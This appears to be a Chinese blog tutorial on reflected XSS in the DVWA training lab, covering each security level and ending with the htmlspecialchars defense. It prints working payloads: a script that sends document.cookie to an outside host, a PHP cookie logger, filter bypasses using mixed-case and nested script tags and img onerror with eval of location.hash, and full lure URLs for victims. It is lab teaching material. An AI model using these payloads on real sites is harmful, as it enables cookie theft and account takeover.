DVWA 黑客攻防演练(十)反射型 XSS 攻击 Reflected Cross Site Scripting

栏目: 编程工具 · 发布时间: 5年前

内容简介:XSS(Cross-site scripting) 攻击,为和 CSS 有所区分,所以叫 XSS。又是一种防不胜防的攻击,应该算是一种 “HTML注入攻击”,原本开发者想的是显示数据,然而攻击者输入却是有破坏性的代码,而且能被解析执行。Symantec在2007年报告更是指出跨站脚本漏洞大概占所有网站漏洞的84%。XSS 大致分成三种类型(白帽子讲web安全):功能很简单,显示就是输入框输入的东西 比如:输入 World 就能显示 Hello World。 此时 Hacker 尝试输入

XSS(Cross-site scripting) 攻击,为和 CSS 有所区分,所以叫 XSS。又是一种防不胜防的攻击,应该算是一种 “HTML注入攻击”,原本开发者想的是显示数据,然而攻击者输入却是有破坏性的代码,而且能被解析执行。Symantec在2007年报告更是指出跨站脚本漏洞大概占所有网站漏洞的84%。

XSS 大致分成三种类型(白帽子讲web安全):

  • 反射型,就是本文的内容。
  • 存储型,在这篇文章会介绍。
  • DOM 型,如果用是否会存储在服务器上区分的话,DOM型也是反射型。但比较特殊,一般会单独拿出来讨论的,在这里会讨论到

低级

功能很简单,显示就是输入框输入的东西 比如:输入 World 就能显示 Hello World。 此时 Hacker 尝试输入 <script>alert(1)</script>

这是因为,php 输出已经变成了, '<pre>Hello <script>alert(1)</script></pre>' 然后输出到页面时,直接运行  <script>alert(1)</script> 这就是 XSS,原本这个地方应该是输入数据的,但是却变成运行代码了。 接下来 hacker 再作尝试,它写了这样一个文件 a.com/test.js

var img = document.createElement("img")
img.src = "http://www.a.com/?cookies="+escape(document.cookie);
document.body.appendChild(img);

而对应 www.a.com/index.php 的代码是这样,目的是记录发送过来的 cookies

<?php
$c = $_GET["cookies"];
echo $c;
error_log($c ."". "\n",3,"/var/log/a/cookies");
?>
然后再在输出框中输入 <script src="//www.a.com/test.js"></script>

。。。

就会直接将你的 cookies 直接发送到 a.com

有了你的 cookies 就为所欲为了,改密码什么的。 现在只需诱导用户(发邮件之类的)点击这样的连接就Ok了  http://192.168.0.110:5678/vulnerabilities/xss_r/?name=%3Cscript+src%3D%22%2F%2Fwww.a.com%2Ftest.js%22%3E%3C%2Fscript%3E#

比如:

中级

中级代码意识到会有人使用 script 的注入方式,于是就想将 script 标签去掉

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 

    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 

?>
而 Hacker 输入的是 <Script src="//www.a.com/test.js"></Script>

。。。还是被注入了。

还可以输入  <scr<script>ipt src="//www.a.com/test.js"></script> 之类

高级

高级代码,使用 preg_replace 函数,无论 script 大小写如何变化也会删除

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 

?>

所以可以采用不使用 script 的方式。

比如利用 img 的 onerror 函数,意思是说,如果图片的地址是错误的,就执行 alert(1)
但如果直接在 onerror 函数中写注入的代码又很有可能被那个正则表达式替换掉的。

所以要通过其他方式绕过这个正则替换,比如利用 location.hash

这是什么东西?

url 中 # 号后面的东西,比如 https://www.zhihu.com/topic#Linux 的 location.hash 就是 #Linux ,前端框架一般会用来做单页面路由。 这个东西没有长度限制而且不会被传到后台的

所以,可以这样, <img src=x onerror="eval(unescape(location.hash.substr(1)))"> 而在构造 url 就可以放心把代码放在 #号后面了。

所以点击下面连接就会偷掉你的cookies了(要复制黏贴)

http://192.168.0.110:5678/vulnerabilities/xss_r/?name=%3Cimg%20src=x%20onerror=%22eval(unescape(location.hash.substr(1) ))%22%3E#var%20img%20=%20document.createElement(‘img’);img.src=’ http://www.a.com/?cookies=’+escape(document.cookie);document.body.appendChild(img)

不可能

不可能级别添加了 anti-token 防御机制,和 htmlseecialchars 函数来防御

<?php 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $name = htmlspecialchars( $_GET[ 'name' ] ); 

    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?>

htmlseecialchars 函数作用是什么?来探讨一下

输入上一级的注入语句

看 dom 的元素,也看不出什么

再看看请求返回的什么

看到了吗,那个函数将 < ” 等符号转义了


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

分布式服务架构:原理、设计与实战

分布式服务架构:原理、设计与实战

李艳鹏、杨彪 / 电子工业出版社 / 2017-8 / 89.00

《分布式服务架构:原理、设计与实战》全面介绍了分布式服务架构的原理与设计,并结合作者在实施微服务架构过程中的实践经验,总结了保障线上服务健康、可靠的最佳方案,是一本架构级、实战型的重量级著作。 《分布式服务架构:原理、设计与实战》以分布式服务架构的设计与实现为主线,由浅入深地介绍了分布式服务架构的方方面面,主要包括理论和实践两部分。理论上,首先介绍了服务架构的背景,以及从服务化架构到微服务架......一起来看看 《分布式服务架构:原理、设计与实战》 这本书的介绍吧!

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具